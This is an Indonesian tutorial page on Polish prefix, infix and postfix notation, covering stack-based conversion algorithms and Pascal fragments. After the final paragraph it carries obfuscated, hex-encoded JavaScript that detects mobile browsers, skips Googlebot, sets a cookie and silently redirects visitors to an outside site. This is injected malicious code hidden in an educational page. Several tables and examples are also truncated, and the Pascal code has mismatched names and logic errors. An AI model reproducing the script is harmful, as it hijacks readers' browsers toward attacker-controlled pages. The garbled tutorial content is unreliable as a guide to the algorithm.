NOTASI POLIS

Program  Stack Metode Notasi Polish

A.1. NOTASI PREFIX & NOTASI POLISH

 

Notasi Polish atau Notasi Prefix merupakan suatu cara penulisan ungkapan numeris yang dikembangkan oleh Jan Lukasiewicz. Notasi Polish adalah operator ditulis sebelum kedua operand yang akan disajikan.

Dalam pelajaran struktur data terdapat 3 notasi operasi yang dilakukan untuk operasi aritmatika seperti Prefix, Infix, dan Postfix.

Terbentuknya suatu notasi bersumber dari adanya operand dan operator. Operand adalah data atau nilai yang membantu dalam proses suatu operasi. Sedangkan operator merupakan fungsi yang digunakan dalam suatu operasi.

Infix Prefix

A + B + A B

A + B – C – + A B C

( A + B ) * ( C – D ) * + A B – C D

A – B / ( C * D $ E ) – – –

Secara sederhana, proses konversi dari infix menjadi prefix sebagai berikut:

  1. Ungkapan yang akan dikonversikan adalah ( A + B ) * ( C – D ).
  2. Dengan menggunakan tanda kurung bantuan, ungkapan diatas kita ubah menjadi: [ + A B ] * [ – C D ]
  3. Jika [ + A B ] kita misalkan P, dan [ – C D ] kita misalkan Q maka ungkapan di atas bisa ditulis sebagai berikut: P * Q
  4. Selanjutnya notasi infix dirubah menjadi prefix: * P Q
  5. Dengan mengembalikan P dan Q pada notasinya semula dan menghapus tanda kurung bantuan, kita peroleh notasi prefix dari persamaan ( A + B ) * ( C – D ) yaitu: * + A B – C D

Contoh:

  1. A + B * C

B * C = * B C ….. P

C * P = * C P ….. Q

  • Ø Algoritma Infix Ke Prefix:

Langkah 0:- Baca ungkapan dalam notasi infix, misalnya S;

– Tentukan panjang ungkapan tersebut, misalnya N;

– Siapkan sebuah tumpukan kosong dan siapkan derajat masing-masing operator.

Misalnya: $ berderajat 3, * dan / berderajat 2, + dan – berderajat 1 dan (berderajat 0).

Langkah 1:

Dimulai dari I : N sampai 1, kerjakan langkah-langkah berikut :

  1. R = S ( I )
  2. Test nilai R. Jika R adalah:

– Operand : Langsung ditulis

– Kurung buka : Pop dan tulis semua isi tumpukan sampai ujung tumpukan = ‘)‘, pop juga tanda ini tetapi tidak perlu ditulis.

– Kurung tutup : Push kedalam tumpukan

– Operator : Jika tumpukan kosong, atau derajat R lebih tinggi

dibanding derajat ujung tumpukan, push operator

ke dalam tumpukan. Jika tidak pop ujung tumpukan dan tulis, kemudian ulangi perbandingan R dengan ujung tumpukan, lalu R di push.

Catatan: Kurung tutup di dalam tumpukan dianggap mempunyai derajat yang lebih rendah dibanding R.

Langkah 2: Jika akhir notasi infix telah tercapai dan tumpukan masih belum kosong, pop semua isi tumpukan dan tulis hasilnya.

Contoh:

  1. A + B * C

Proses Ke- Karakter Dibaca Isi Stack Karakter Tercetak Notasi Prefix Terbentuk

  1. C C C
  2. * *
  3. B * B BC
  4. + + * *BC
  5. A + A A*BC
  6. + +A*BC

A.2.  Notasi Infix

Salah satu pemanfaatan tumpukan adalah untuk menulis ungkapan menggunakan notasi tertentu. Dalam penulisan ungkapan khususnya ungkapan numeris, kita selalu menggunakan tanda kurung untuk mengelompokkan bagian mana yang harus dikerjakan lebih dahulu.

Contoh :

  1. ( A + B ) * ( C – D )

Suku ( A + B ) akan dikerjakan lebih dahulu, kemudian suku ( C – D ) dan terakhir mengalikan hasil yang diperoleh dari 2 suku ini.

  1. A + B * C – D

Maka B * C akan dikerjakan lebih dahulu diikuti yang lain.

Dalam hal ini pemakaian tanda kurung akan sangat mempengaruhi hasil akhir. Cara penulisan ungkapan sering disebut dengan “Notasi Infix” artinya operator ditulis diantara 2 operand.

A.3. Notasi Postfix

Notasi lain yang merupakan kebalikan notasi prefix adalah “Notasi Postfix” atau lebih dikenal dengan Notasi Polish Terbalik (Reverse Polish Notation atau RPN). Dalam hal ini operator ditulis sesudah operand. Sama halnya dengan notasi prefix disini juga diperlukan tanda kurung pengelompokan.

Proses notasi dari infix ke postfix adalah :

  1. Ungkapan yang akan dikonversikan adalah: (A + B ) * ( C – D ).
  2. Dengan menggunakan tanda kurung bantuan, ungkapan diatas diubah menjadi: [ A B + ] * [ C D – ]
  3. Jika [ A B + ] kita misalkan P, dan [ C D – ] kita misalkan Q, maka ungkapan diatas dapat ditulis: P * Q
  4. Selanjutnya notasi infix dirubah menjadi postfix yaitu: P Q *
  5. Dengan mengembalikan P dan Q paada notasinya semula dan menghapus tanda kurung bantuan kita peroleh notasi postfix dari persamaan:

( A + B ) * ( C – D ) yaitu A B + C D – *

Contoh notasi infix ke postfix:

Infix Postfix

A + B – C A B + C –

( A + B ) * ( C – D ) A B + C D – *

A – B / ( C * D $ E ) – – –

Contoh soal:

  1. A – B / ( C * D $ E )

D $ E = D E $ …. P

C * P = C P * …. Q

B / Q = B Q / …. R

A – R = A R –

= A B Q / –

= A B C P * / –

= A B C D E $ * / –
e- Karakter Dibaca Isi Stack Karakter Tercetak Notasi Postfix Terbentuk

  1. A A A
  2. + +
  3. B + B AB
  4. * *+
  5. C *+ C ABC
  6. + * ABC*
  7. + ABC*+

Tabel 3. Perbandingan Operator dalam stack dan operator yang dibaca

Operator Nilai Operator Dalam Stack Nilai Operator Yang Dibaca
( 0
) 0 5
+,- 2 1
*,/ 4 3

Berdasarkan tabel tersebut suatu operator yang dibaca dan akan dimasukan ke dalam stack, terlebih dahulu melalui proses perbandingan nilai dengan operator yang ada di dalam stack sebelumnya. Dalam arti kata lain jika nilai dari operator yang berada dalam stack lebih besar dari nilai operator yang dibaca maka operator yang berada di dalam stack akan dikeluarkan sampai nilai tersebut sama atau lebih kecil. Implementasi dari algoritmanya dapat dijabarkan dalam bentuk fungsi sebagai berikut :

Function IsiDlmStack(Operator : Char) : Integer;

Begin

Case Operator Of

‘(‘ : IsiDlmStack := 0;

‘+‘,’-‘ : IsiDlmStack := 2;

‘*‘,’/’ : IsiDlmStack := 4;

End

End;

Fungsi Isidlmstack tersebut di atas merupakan fungsi level operator yang posisinya berada dalam suatu stack, adapun fungsi untuk menentukan level operator yang dibaca adalah :

Function Stackyangdibaca(Operator : Char) : Integer;

Begin

Case Operator Of

‘)‘ : Stackyangbaca := 0;

‘+‘,’-‘ : Stackyangbaca := 1;

‘*‘,’/’ : Stackyangbaca := 3;

‘(‘ : Stackyangbaca := 5

End

End;

Setelah fungsi pengecekan dilakukan, proses yang perlu dirancang selanjutnya adalah membentuk suatu prosedur untuk menyimpan operator yang dibaca ke dalam suatu susunan array yang implementasinya dibuat sebagai berikut :

Procedure SimpanChar(Ch : Char;

Var Ekspost : TipeEks;

Var Indekspost : TipeIndex);

Begin

Indekspost :=Indekspost + 1;

Ekspost := ch

End;

Dengan adanya prosedur penyimpanan operator ke dalam suatu array tersebut di atas, maka proses konversi notasi infix ke notasi Postfix disusun dalam bentuk bahasa algoritma sebagai berikut[2] :

  • Ø Prosedur Konversi Infix Ke Postfix
  1. Read Panjang suatu untai karakter
  2. Create Stack
  3. Push Operator ‘(‘ ke Puncak Stack
  4. n := 0
  5. For K := 1 To Panjang suatu untai + 1 do

If untai ke k adalah operand then

Keluarkan untai ke K dalam bentuk Output

Else

While Nilai operator dal;am stack > operator yang dibaca do

Pop Isi operator dari dalam stack

Keluarkan operator tersebut dalam bentuk output

End While

If Operator ke K = ‘)’ then

Pop isi operator dari stack

Else

Push Operator ke dalam stack

End If

End If

Panjang untai ;= n

  1. End For

Dengan berpandangan pada algoritma konversi tersebut di atas, rancang bangun algoritma dalam baha pemrograman Pascal disusun sebagai berikut :

Procedure konversi infixkePostfix (eks dlm : Tipe eks;

pjg dlm : Tipe index;

var ekspost: Tipe Eks;

var panjang post : Tipe indeks);

Var

opstack : stack ;

indeksdlm, indeks post: Tipe index;

chdlm, operator, simpan : char ;

Begin

create (Opstack);

Push (Opstack, ‘(‘);

Push (Opstack, ‘(‘);

eksdlm[pjg dlm +1] := ‘)’;

Indeks post: = 0;

For indeksdlm : = 1 to pjgdlm +1 Do

Begin

chdlm: = Eks Dlm [indeks dlm];

if ch dlm in [‘A’….’Z’] then

simpan char (ch Dlm, Ekspost,indekspost)

Else

Begin

While isidlmstack(puncak stack (opstack))> stack yang dibaca (ch dlm) Do

begin

pop(opstack,operator);

simpanchar(operator,ekspost,indekspost)

end;

if chdlm = ‘)’ then

pop(opstack,simpan)

else

push(opstack,simpan)

end

panjang post := indekspost

end;

panjang post := indekspost

end;

Sajian lengkap dari proses konversi notasi infix ke notasi Postfix dalam bahasa Pascal yang siap untuk diterapkan diuraikan di bawah tulisan ini

Aplikasi konversi notasi infix ke notasi Postfix merupakan salah satu sarana untuk dapat mengetahui proses perhitungan aritmatika dalam mesin kompilasi. Penggunaan stack tersebut juga dapat dipakai untuk metode lain seperti membuat matching parentheses, maupun uji palindrome disamping penggunaannya dalam proses konversi notasi ini, yang perlu dipahami adalah suatu stack pada dasarnya merupakan array yang memuat 2 informasi penting yaitu NOEL yang berfungsi untuk mengetahui jumlah tumpukan dan TOP yang berfungsi untuk menentukan posisi puncak dari suatu stack. Stack juga memiliki 2 kondisi yang dapat menyebabkan error yaitu kondisi underflow jika stack tersebut dalam keadaan kosong dilakukan operasi ambil data (pop) dan kondisi overflow jika stack dalam keadaan penuh dilakukan operasi penambahan data. Kedua posisi ini dapat menyebabkan stack dalam keadaan tidak valid sehingga penggunaan error trapping untuk menampung kondisi tidak valid perlu diperhatikan.

Notasi infix yang umum digunakan oleh berbagai kalangan dalam melakukan suatu proses perhitungan aritmatika dapat *** disusun ke dalam notasi Postfix yang digunakan oleh mesin kompilasi sehingga pengetahuan tentang penggunaan notasi aritmatika akan lebih luas.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}